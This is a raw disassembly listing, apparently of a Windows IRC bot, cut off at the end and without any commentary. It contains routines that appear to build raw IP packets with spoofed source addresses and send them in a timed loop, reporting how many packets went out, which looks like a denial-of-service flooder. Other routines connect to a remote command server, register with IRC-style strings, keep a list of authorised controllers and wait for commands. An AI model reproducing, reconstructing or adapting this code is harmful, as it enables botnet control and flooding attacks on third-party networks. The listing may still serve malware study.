lea ecx, [ebp+var_1C] call sub_40F728 lea eax, [ebp+var_1C] push offset dword_4300C0 push eax call sub_423A87 loc_40F64F: ; DATA XREF: .text:off_42F368o ; .text:off_42F378o push esi mov esi, ecx call sub_40F36E test [esp+20h+var_18], 1 jz short loc_40F665 push esi call sub_421C78 pop ecx loc_40F665: ; CODE XREF: sub_40F632+2Aj mov eax, esi pop esi retn 4 sub_40F632 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F66B proc near ; CODE XREF: sub_40F3E1+7Ap mov eax, offset loc_42EEF4 call sub_423A68 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40F691 mov edi, [ebp+8] loc_40F691: ; CODE XREF: sub_40F66B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40F69E xor eax, eax loc_40F69E: ; CODE XREF: sub_40F66B+2Fj push eax call sub_423F55 pop ecx mov [ebp+8], eax jmp short loc_40F6CF ; --------------------------------------------------------------------------- loc_40F6AA: ; DATA XREF: .text:00430174o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40F6B9 xor eax, eax loc_40F6B9: ; CODE XREF: sub_40F66B+4Aj push eax call sub_423F55 mov [ebp+8], eax pop ecx mov eax, offset loc_40F6C9 retn ; --------------------------------------------------------------------------- loc_40F6C9: ; DATA XREF: sub_40F66B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40F6CF: ; CODE XREF: sub_40F66B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40F6ED cmp eax, edi jbe short loc_40F6DC mov eax, edi loc_40F6DC: ; CODE XREF: sub_40F66B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_4223F0 add esp, 0Ch loc_40F6ED: ; CODE XREF: sub_40F66B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40F143 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40F70D mov edi, ebx loc_40F70D: ; CODE XREF: sub_40F66B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [edi+eax], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40F66B endp ; =============== S U B R O U T I N E ======================================= sub_40F728 proc near ; CODE XREF: sub_40F632+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40F389 mov dword ptr [esi], offset off_42F378 mov eax, esi pop esi retn 4 sub_40F728 endp ; =============== S U B R O U T I N E ======================================= sub_40F740 proc near ; CODE XREF: sub_40F2DD+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40F76D mov al, [esi-1] test al, al jz short loc_40F76D cmp al, 0FFh jz short loc_40F76D push 1 call sub_40F143 push esi call sub_422120 pop ecx push eax push esi mov ecx, edi call sub_40F17B loc_40F76D: ; CODE XREF: sub_40F740+9j ; sub_40F740+10j ... pop edi pop esi retn sub_40F740 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F770 proc near ; CODE XREF: sub_40FA20+5Fp var_20C = byte ptr -20Ch var_7C = byte ptr -7Ch var_7B = byte ptr -7Bh var_64 = byte ptr -64h var_54 = byte ptr -54h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi push [ebp+arg_0] call dword_42F2AC ; inet_addr push 0Eh mov [ebp+var_4], eax xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_7B] mov [ebp+var_7C], bl rep stosd stosw stosb lea eax, [ebp+var_20C] push eax push 202h call dword_42F290 ; WSAStartup test eax, eax jz short loc_40F7C0 push [ebp+arg_4] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread loc_40F7C0: ; CODE XREF: sub_40F770+3Ej mov esi, offset dword_4552D0 push 100h push esi call dword_42F2A8 ; gethostname push esi call dword_42F274 ; gethostbyname mov eax, [eax+0Ch] push 1 push ebx mov edi, 0FFh mov eax, [eax] push ebx push edi push 3 mov esi, [eax] push 2 call dword_42F2A0 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40F7FE push eax jmp short loc_40F81D ; --------------------------------------------------------------------------- loc_40F7FE: ; CODE XREF: sub_40F770+89j lea ecx, [ebp+var_30] push 4 push ecx push 2 push ebx push eax mov [ebp+var_30], 1 call dword_4542F0 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40F84F push [ebp+arg_0] loc_40F81D: ; CODE XREF: sub_40F770+8Cj call dword_42F298 ; closesocket push [ebp+arg_4] call sub_41C059 pop ecx mov esi, offset dword_439638 mov ecx, [ebp+arg_8] push esi call sub_41074B mov ecx, [ebp+arg_8] push offset dword_43963C push esi call sub_410720 xor eax, eax jmp loc_40FA1B ; --------------------------------------------------------------------------- loc_40F84F: ; CODE XREF: sub_40F770+A8j push 8 call sub_41C235 test eax, eax pop ecx jle short loc_40F878 push offset aStopped_ ; "Stopped." push 8 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_8] push [ebp+arg_C] call sub_41C090 add esp, 20h loc_40F878: ; CODE XREF: sub_40F770+E9j push 10h lea eax, [ebp+var_40] push ebx push eax call sub_4221F0 call sub_4220FC cdq idiv edi and esi, 0FFFFFFh mov [ebp+var_40], 2 mov edi, edx shl edi, 18h or edi, esi call sub_4220FC mov [ebp+var_3E], ax mov eax, [ebp+var_4] push 5DCh push 1 mov [ebp+var_3C], eax call sub_423F63 mov esi, dword_42F2B8 add esp, 14h mov [ebp+arg_8], eax mov [ebp+var_2C], 46h push 604h call esi ; dword_42F2B8 push ebx mov [ebp+var_2A], ax call esi ; dword_42F2B8 or [ebp+var_24], 0FFh mov [ebp+var_28], ax mov eax, [ebp+var_4] push ebx mov [ebp+var_26], bx mov [ebp+var_23], 2 mov [ebp+var_22], bx mov [ebp+var_2B], bl mov [ebp+var_1C], eax mov [ebp+var_20], edi call esi ; dword_42F2B8 push ebx mov [ebp+var_18], ax call esi ; dword_42F2B8 mov [ebp+var_16], ax mov [ebp+var_14], 11h mov [ebp+var_13], 5 call sub_4220FC push offset a0_0_0_0 ; "0.0.0.0" mov [ebp+var_A], ax mov [ebp+var_C], bl mov [ebp+var_B], bl call dword_42F2AC ; inet_addr mov [ebp+var_10], eax mov eax, [ebp+var_4] push 10h mov [ebp+var_8], eax pop edi lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_7C] mov [ebp+var_12], bx push eax call sub_4223F0 lea eax, [ebp+var_7C] push edi push eax call sub_414271 mov [ebp+var_12], ax lea eax, [ebp+var_2C] push 18h push eax lea eax, [ebp+var_7C] push eax call sub_4223F0 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_64] push eax call sub_4223F0 push 4 lea eax, [ebp+var_54] push ebx push eax call sub_4221F0 lea eax, [ebp+var_7C] push 28h push eax call sub_414271 add esp, 40h push eax call dword_42F278 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 18h push eax lea eax, [ebp+var_7C] push eax call sub_4223F0 add esp, 0Ch lea eax, [ebp+var_40] mov esi, dword_42F2A4 push edi push eax push ebx lea eax, [ebp+var_7C] push 28h push eax push [ebp+arg_0] call esi ; dword_42F2A4 mov [ebp+arg_14], eax lea eax, [ebp+var_2C] push 18h push eax push [ebp+arg_8] call sub_4223F0 lea eax, [ebp+var_14] push edi push eax push [ebp+arg_8] call sub_4223F0 add esp, 18h lea eax, [ebp+var_40] push edi push eax push ebx push 604h push [ebp+arg_8] push [ebp+arg_0] call esi ; dword_42F2A4 push [ebp+arg_0] inc dword_454450 call dword_42F298 ; closesocket cmp [ebp+arg_14], 0FFFFFFFFh jnz short loc_40FA18 push [ebp+arg_4] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread loc_40FA18: ; CODE XREF: sub_40F770+296j xor eax, eax inc eax loc_40FA1B: ; CODE XREF: sub_40F770+DAj pop edi pop esi pop ebx leave retn sub_40F770 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FA20 proc near ; DATA XREF: sub_403B2C+5949o var_124 = dword ptr -124h var_11C = byte ptr -11Ch var_9C = byte ptr -9Ch var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 124h mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_124] rep movsd mov esi, dword_42F164 mov dword ptr [eax+120h], 1 mov eax, [ebp+var_124] mov [ebp+arg_0], eax call esi ; dword_42F164 mov ebx, eax call esi ; dword_42F164 mov edi, 3E8h jmp short loc_40FA91 ; --------------------------------------------------------------------------- loc_40FA62: ; CODE XREF: sub_40FA20+7Cj push [ebp+var_C] lea eax, [ebp+var_9C] push [ebp+var_8] push eax lea eax, [ebp+var_11C] push [ebp+var_124] push [ebp+var_1C] push eax call sub_40F770 add esp, 18h push 0Ah call dword_42F15C ; Sleep call esi ; dword_42F164 loc_40FA91: ; CODE XREF: sub_40FA20+40j mov ecx, edi xor edx, edx sub eax, ebx div ecx cmp eax, [ebp+var_14] jbe short loc_40FA62 xor ebx, ebx mov edi, offset a2fulsVpayi0 ; "2FUlS/VPAyI0" cmp [ebp+var_8], ebx mov esi, offset aSDoneWithDPack ; "%s Done with %d pack(s)" jnz short loc_40FACE cmp [ebp+var_C], ebx jnz short loc_40FAD3 push dword_454450 lea eax, [ebp+var_9C] push edi push esi push eax push [ebp+arg_0] call sub_4104F6 add esp, 14h loc_40FACE: ; CODE XREF: sub_40FA20+8Dj cmp [ebp+var_C], ebx jz short loc_40FAED loc_40FAD3: ; CODE XREF: sub_40FA20+92j push dword_454450 lea eax, [ebp+var_9C] push edi push esi push eax push [ebp+arg_0] call sub_410491 add esp, 14h loc_40FAED: ; CODE XREF: sub_40FA20+B1j push [ebp+var_1C] call sub_41C059 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_40FA20 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_412049 loc_40FAFF: ; CODE XREF: sub_412049+5j push esi mov esi, ecx and dword ptr [esi+28h], 0 call sub_40FDC0 and byte ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 mov byte ptr [esi+5], 1 mov eax, esi pop esi retn ; END OF FUNCTION CHUNK FOR sub_412049 ; --------------------------------------------------------------------------- loc_40FB1F: ; CODE XREF: .text:00412064j mov eax, [ecx+28h] test eax, eax jz short locret_40FB2C push eax call sub_40FCCD locret_40FB2C: ; CODE XREF: .text:0040FB24j retn ; --------------------------------------------------------------------------- loc_40FB2D: ; DATA XREF: sub_41A0E6+1Co mov eax, [esp+4] sub esp, 240h mov ecx, 90h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] rep movsd mov edi, dword_42F164 mov dword ptr [eax+0BCh], 1 mov esi, 3E8h loc_40FB5D: ; CODE XREF: .text:0040FB9Ej call edi ; dword_42F164 xor edx, edx mov ecx, esi div ecx mov ecx, dword_45450C xor edx, edx mov ebp, esi mov ebx, eax mov eax, ecx div ebp mov ebp, 5DCh sub ebx, eax cmp ebx, ebp ja short loc_40FBA0 mov ecx, [esp+10h] call sub_41111B mov ecx, [esp+10h] push eax call sub_4105B8 push 16E360h call dword_42F15C ; Sleep jmp short loc_40FB5D ; --------------------------------------------------------------------------- loc_40FBA0: ; CODE XREF: .text:0040FB7Ej mov eax, ecx xor edx, edx mov ecx, esi push ebp div ecx mov ebx, eax call edi ; dword_42F164 xor edx, edx mov ecx, esi div ecx sub eax, ebx push eax push ebx call edi ; dword_42F164 xor edx, edx div esi push eax push offset aPingTimeout?DD ; "Ping Timeout? (%d-%d)%d/%d" push dword ptr [esp+24h] call sub_41015C add esp, 18h push 0 call dword_42F150 ; ExitThread pop edi pop esi pop ebp pop ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FBDB proc near ; CODE XREF: sub_40FFB4+132p ; sub_40FFB4+146p ... var_1000 = byte ptr -1000h arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp mov eax, 1000h call sub_4220C0 lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_1000] push [ebp+arg_8] push 1000h push eax call sub_423640 add esp, 10h lea eax, [ebp+var_1000] push 0 push eax call sub_422120 pop ecx push eax lea eax, [ebp+var_1000] push eax push [ebp+arg_4] call dword_454350 ; send inc eax neg eax sbb eax, eax inc eax leave retn sub_40FBDB endp ; =============== S U B R O U T I N E ======================================= sub_40FC2B proc near ; CODE XREF: sub_40FC86+3Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi xor edi, edi jmp short loc_40FC56 ; --------------------------------------------------------------------------- loc_40FC35: ; CODE XREF: sub_40FC2B+2Ej cmp [esi+8], edi jnz short loc_40FC53 push 0Ch call sub_423F55 mov [esi+8], eax mov [eax+4], edi mov eax, [esi+8] pop ecx mov [eax], edi mov eax, [esi+8] mov [eax+8], edi loc_40FC53: ; CODE XREF: sub_40FC2B+Dj mov esi, [esi+8] loc_40FC56: ; CODE XREF: sub_40FC2B+8j cmp [esi+4], edi jnz short loc_40FC35 mov eax, [esp+8+arg_8] push [esp+8+arg_4] mov [esi+4], eax call sub_422120 inc eax push eax call sub_423F55 pop ecx mov [esi], eax pop ecx push [esp+8+arg_4] push eax call dword_42F04C ; lstrcpyA pop edi pop esi retn 0Ch sub_40FC2B endp ; =============== S U B R O U T I N E ======================================= sub_40FC86 proc near ; CODE XREF: sub_41A1C8+13p ; sub_41A1C8+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx mov eax, [esi+28h] test eax, eax jnz short loc_40FCB9 push 0Ch call sub_423F55 mov [esi+28h], eax and dword ptr [eax+4], 0 mov eax, [esi+28h] pop ecx push [esp+4+arg_4] and dword ptr [eax], 0 mov eax, [esi+28h] push [esp+8+arg_0] and dword ptr [eax+8], 0 push dword ptr [esi+28h] jmp short loc_40FCC2 ; --------------------------------------------------------------------------- loc_40FCB9: ; CODE XREF: sub_40FC86+8j push [esp+4+arg_4] push [esp+8+arg_0] push eax loc_40FCC2: ; CODE XREF: sub_40FC86+31j mov ecx, esi call sub_40FC2B pop esi retn 8 sub_40FC86 endp ; =============== S U B R O U T I N E ======================================= sub_40FCCD proc near ; CODE XREF: .text:0040FB27p ; sub_40FCCD+Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+8] test eax, eax jz short loc_40FCDF push eax call sub_40FCCD loc_40FCDF: ; CODE XREF: sub_40FCCD+Aj mov eax, [esi] test eax, eax jz short loc_40FCEC push eax call sub_421C78 pop ecx loc_40FCEC: ; CODE XREF: sub_40FCCD+16j push esi call sub_421C78 pop ecx pop esi retn 4 sub_40FCCD endp ; =============== S U B R O U T I N E ======================================= sub_40FCF7 proc near ; CODE XREF: sub_419B2F+22Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx mov eax, offset dword_454510 loc_40FCFF: ; CODE XREF: sub_40FCF7+18j cmp byte ptr [eax], 0 jz short loc_40FD18 add eax, 0BFh inc ebx cmp eax, offset byte_45474D jl short loc_40FCFF or eax, 0FFFFFFFFh loc_40FD14: ; CODE XREF: sub_40FCF7+5Cj pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40FD18: ; CODE XREF: sub_40FCF7+Bj push esi mov esi, ebx imul esi, 0BFh push edi mov edi, dword_42F04C push [esp+0Ch+arg_0] lea eax, dword_454510[esi] push eax call edi ; dword_42F04C push [esp+0Ch+arg_4] lea eax, dword_454520[esi] push eax call edi ; dword_42F04C push [esp+0Ch+arg_8] lea eax, dword_454530[esi] push eax call edi ; dword_42F04C pop edi mov eax, ebx pop esi jmp short loc_40FD14 sub_40FCF7 endp ; =============== S U B R O U T I N E ======================================= sub_40FD55 proc near ; CODE XREF: sub_410269+CAp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi mov ebx, ecx xor edi, edi mov esi, offset dword_454510 loc_40FD61: ; CODE XREF: sub_40FD55+54j cmp byte ptr [esi], 0 jz short loc_40FD9C push [esp+0Ch+arg_0] push esi call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_40FD9C push [esp+0Ch+arg_4] lea eax, [esi+10h] push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_40FD9C push [esp+0Ch+arg_8] lea eax, [esi+20h] push eax call sub_422760 pop ecx test eax, eax pop ecx jz short loc_40FDB4 loc_40FD9C: ; CODE XREF: sub_40FD55+Fj ; sub_40FD55+1Fj ... add esi, 0BFh inc edi cmp esi, offset byte_45474D jl short loc_40FD61 or eax, 0FFFFFFFFh loc_40FDAE: ; CODE XREF: sub_40FD55+69j pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40FDB4: ; CODE XREF: sub_40FD55+45j push edi mov ecx, ebx call sub_40FE00 mov eax, edi jmp short loc_40FDAE sub_40FD55 endp ; =============== S U B R O U T I N E ======================================= sub_40FDC0 proc near ; CODE XREF: sub_412049-2543p ; sub_40FFB4+B8p push esi mov esi, offset dword_454520 loc_40FDC6: ; CODE XREF: sub_40FDC0+3Cj push 10h lea eax, [esi-10h] push 0 push eax call sub_4221F0 push 10h push 0 push esi call sub_4221F0 push 9Fh lea eax, [esi+10h] push 0 push eax call sub_4221F0 add esi, 0BFh add esp, 24h cmp esi, offset byte_45475D jl short loc_40FDC6 pop esi retn sub_40FDC0 endp ; =============== S U B R O U T I N E ======================================= sub_40FE00 proc near ; CODE XREF: sub_40FD55+62p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] imul esi, 0BFh lea eax, dword_454510[esi] cmp byte ptr [eax], 0 jz short loc_40FE4B push 10h push 0 push eax call sub_4221F0 push 10h lea eax, dword_454520[esi] push 0 push eax call sub_4221F0 push 9Fh lea eax, dword_454530[esi] push 0 push eax call sub_4221F0 xor eax, eax add esp, 24h inc eax jmp short loc_40FE4D ; --------------------------------------------------------------------------- loc_40FE4B: ; CODE XREF: sub_40FE00+14j xor eax, eax loc_40FE4D: ; CODE XREF: sub_40FE00+49j pop esi retn 4 sub_40FE00 endp ; =============== S U B R O U T I N E ======================================= sub_40FE51 proc near ; CODE XREF: sub_410269+B1p ; sub_419B2F+C4p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, offset dword_454510 loc_40FE57: ; CODE XREF: sub_40FE51+4Dj cmp byte ptr [esi], 0 jz short loc_40FE92 push [esp+4+arg_0] push esi call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_40FE92 push [esp+4+arg_4] lea eax, [esi+10h] push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_40FE92 push [esp+4+arg_8] lea eax, [esi+20h] push eax call sub_422760 pop ecx test eax, eax pop ecx jz short loc_40FEA6 loc_40FE92: ; CODE XREF: sub_40FE51+9j ; sub_40FE51+19j ... add esi, 0BFh cmp esi, offset byte_45474D jl short loc_40FE57 xor eax, eax loc_40FEA2: ; CODE XREF: sub_40FE51+58j pop esi retn 0Ch ; --------------------------------------------------------------------------- loc_40FEA6: ; CODE XREF: sub_40FE51+3Fj xor eax, eax inc eax jmp short loc_40FEA2 sub_40FE51 endp ; =============== S U B R O U T I N E ======================================= sub_40FEAB proc near ; CODE XREF: sub_419B2F+130p ; sub_419B2F+1D8p ... mov eax, offset dword_454510 loc_40FEB0: ; CODE XREF: sub_40FEAB+14j cmp byte ptr [eax], 0 jnz short loc_40FEC4 add eax, 0BFh cmp eax, offset byte_45474D jl short loc_40FEB0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_40FEC4: ; CODE XREF: sub_40FEAB+8j xor eax, eax inc eax retn sub_40FEAB endp ; =============== S U B R O U T I N E ======================================= sub_40FEC8 proc near ; CODE XREF: sub_403B2C+7F6p arg_0 = dword ptr 4 push ebx push ebp mov ebp, [esp+8+arg_0] push esi push edi push offset aH08_Drzwx_ ; "h/08./drzWX." mov edi, ecx push offset aSLoginList ; "%s Login List:" push ebp push edi call sub_4104F6 add esp, 10h xor ebx, ebx mov esi, offset dword_454510 loc_40FEED: ; CODE XREF: sub_40FEC8+62j cmp byte ptr [esi], 0 jz short loc_40FF0D lea eax, [esi+10h] lea ecx, [eax+10h] push ecx push eax push esi push ebx push offset aISS@S ; "<%i> %s!%s@%s" push ebp push edi call sub_4104F6 add esp, 1Ch jmp short loc_40FF1D ; --------------------------------------------------------------------------- loc_40FF0D: ; CODE XREF: sub_40FEC8+28j push ebx push offset aIEmpty ; "<%i> <Empty>" push ebp push edi call sub_4104F6 add esp, 10h loc_40FF1D: ; CODE XREF: sub_40FEC8+43j add esi, 0BFh inc ebx cmp esi, offset byte_45474D jl short loc_40FEED push offset aH08_Drzwx_ ; "h/08./drzWX." push offset aSLoginListComp ; "%s Login List complete." push ebp push edi call sub_4104F6 add esp, 10h pop edi pop esi pop ebp pop ebx retn 4 sub_40FEC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF47 proc near ; CODE XREF: sub_419B2F+1FEp ; sub_419B2F+397p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_4220C0 push ebx mov ebx, [ebp+arg_0] cmp byte ptr [ebx+4], 0 jnz short loc_40FF63 xor eax, eax inc eax jmp short loc_40FFB1 ; --------------------------------------------------------------------------- loc_40FF63: ; CODE XREF: sub_40FF47+15j push esi lea eax, [ebp+arg_8] push edi push eax push [ebp+arg_4] lea eax, [ebp+var_1000] xor edi, edi push 1000h push eax call sub_423640 add esp, 10h mov esi, offset dword_454510 loc_40FF87: ; CODE XREF: sub_40FF47+64j cmp byte ptr [esi], 0 jz short loc_40FF9F lea eax, [ebp+var_1000] push eax push esi push ebx call sub_410491 add esp, 0Ch add edi, eax loc_40FF9F: ; CODE XREF: sub_40FF47+43j add esi, 0BFh cmp esi, offset byte_45474D jl short loc_40FF87 mov eax, edi pop edi pop esi loc_40FFB1: ; CODE XREF: sub_40FF47+1Aj pop ebx leave retn sub_40FF47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFB4 proc near ; CODE XREF: sub_412267+50Cp var_14 = word ptr -14h var_12 = word ptr -12h var_10 = byte ptr -10h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi mov esi, ecx cmp byte ptr [esi+4], 0 jz short loc_40FFCC xor eax, eax inc eax jmp loc_410124 ; --------------------------------------------------------------------------- loc_40FFCC: ; CODE XREF: sub_40FFB4+Ej cmp dword_4543FC, 0 jnz short loc_40FFF2 loc_40FFD5: ; CODE XREF: sub_40FFB4+3Cj lea eax, [ebp+var_4] push 0 push eax call dword_454238 ; InternetGetConnectedState test eax, eax jnz short loc_40FFF2 push 7530h call dword_42F15C ; Sleep jmp short loc_40FFD5 ; --------------------------------------------------------------------------- loc_40FFF2: ; CODE XREF: sub_40FFB4+1Fj ; sub_40FFB4+2Fj xor ebx, ebx push 6 inc ebx push ebx push 2 call dword_454394 ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_410055 push [ebp+arg_0] call dword_454398 ; gethostbyname test eax, eax jz short loc_41004D mov eax, [eax+0Ch] push 4 push dword ptr [eax] lea eax, [ebp+var_10] push eax call sub_4223F0 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_454314 ; ntohs mov [ebp+var_12], ax lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call dword_4542AC ; connect cmp eax, 0FFFFFFFFh jnz short loc_41005C loc_41004D: ; CODE XREF: sub_40FFB4+5Ej push dword ptr [esi] call dword_4543AC ; closesocket loc_410055: ; CODE XREF: sub_40FFB4+51j mov eax, ebx jmp loc_410124 ; --------------------------------------------------------------------------- loc_41005C: ; CODE XREF: sub_40FFB4+97j ; DATA XREF: .text:off_436B7Co push edi mov edi, dword_42F164 call edi ; dword_42F164 mov ecx, esi mov dword_45450C, eax call sub_40FDC0 call edi ; dword_42F164 mov dword_4555F8, eax call edi ; dword_42F164 push [ebp+arg_8] mov dword_45450C, eax mov [esi+4], bl call sub_422120 inc eax push eax call sub_423F55 mov ebx, dword_42F04C pop ecx pop ecx mov [esi+8], eax push [ebp+arg_8] push eax call ebx ; dword_42F04C push [ebp+arg_C] call sub_422120 inc eax push eax call sub_423F55 pop ecx mov [esi+0Ch], eax pop ecx push [ebp+arg_10] push eax call ebx ; dword_42F04C cmp [ebp+arg_14], 0 mov ebx, offset aSS ; "%s %s\r\n" jz short loc_4100EE push offset byte_44D6A4 push [ebp+arg_14] call sub_422760 pop ecx test eax, eax pop ecx jz short loc_4100EE push [ebp+arg_14] push offset aZ ; "=Z\\" push ebx push dword ptr [esi] push esi call sub_40FBDB add esp, 14h loc_4100EE: ; CODE XREF: sub_40FFB4+111j ; sub_40FFB4+124j push [ebp+arg_8] push offset dword_43C088 push ebx push dword ptr [esi] push esi call sub_40FBDB push [ebp+arg_10] push [ebp+arg_C] push offset a8hj ; "8HJ" push offset aSS0S ; "%s %s * 0 :%s\r\n" push dword ptr [esi] push esi call sub_40FBDB add esp, 2Ch call edi ; dword_42F164 mov dword_45450C, eax xor eax, eax pop edi loc_410124: ; CODE XREF: sub_40FFB4+13j ; sub_40FFB4+A3j pop esi pop ebx leave retn 18h sub_40FFB4 endp ; =============== S U B R O U T I N E ======================================= sub_41012A proc near ; CODE XREF: sub_403B2C+871p ; sub_40CDE2+643p ... push esi mov esi, ecx cmp byte ptr [esi+4], 0 jz short loc_41015A push offset aLeaving__ ; "leaving.." push esi call sub_41015C pop ecx and byte ptr [esi+4], 0 and byte ptr [esi+5], 0 pop ecx push 2 push dword ptr [esi] call dword_4543A8 ; shutdown push dword ptr [esi] call dword_4543AC ; closesocket loc_41015A: ; CODE XREF: sub_41012A+7j pop esi retn sub_41012A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41015C proc near ; CODE XREF: sub_403B2C+85Bp ; sub_40CDE2+62Dp ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_4220C0 push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+4], 0 jz short loc_4101CD cmp [ebp+arg_4], 0 jz short loc_4101AF lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_1000] push [ebp+arg_4] push 1000h push eax call sub_423640 lea eax, [ebp+var_1000] push eax push offset dword_43C0A8 push offset aSS ; "%s %s\r\n" push dword ptr [esi] push esi call sub_40FBDB add esp, 24h jmp short loc_4101C4 ; --------------------------------------------------------------------------- loc_4101AF: ; CODE XREF: sub_41015C+1Bj push offset dword_43C0A8 push offset aS_4 ; "%s\r\n" push dword ptr [esi] push esi call sub_40FBDB add esp, 10h loc_4101C4: ; CODE XREF: sub_41015C+51j test eax, eax jz short loc_4101CD xor eax, eax inc eax jmp short loc_4101CF ; --------------------------------------------------------------------------- loc_4101CD: ; CODE XREF: sub_41015C+15j ; sub_41015C+6Aj xor eax, eax loc_4101CF: ; CODE XREF: sub_41015C+6Fj pop esi leave retn sub_41015C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101D2 proc near ; CODE XREF: sub_412267+513p var_400 = byte ptr -400h push ebp mov ebp, esp sub esp, 400h push esi mov esi, ecx cmp byte ptr [esi+4], 0 jz short loc_41022E push edi loc_4101E5: ; CODE XREF: sub_4101D2+55j push 0 lea eax, [ebp+var_400] push 3FFh push eax push dword ptr [esi] call dword_454330 ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410229 test edi, edi jz short loc_410229 call dword_42F164 ; GetTickCount and [ebp+edi+var_400], 0 mov dword_45450C, eax lea eax, [ebp+var_400] mov ecx, esi push eax call sub_410234 jmp short loc_4101E5 ; --------------------------------------------------------------------------- loc_410229: ; CODE XREF: sub_4101D2+2Ej ; sub_4101D2+32j and byte ptr [esi+4], 0 pop edi loc_41022E: ; CODE XREF: sub_4101D2+10j xor eax, eax pop esi inc eax leave retn sub_4101D2 endp ; =============== S U B R O U T I N E ======================================= sub_410234 proc near ; CODE XREF: 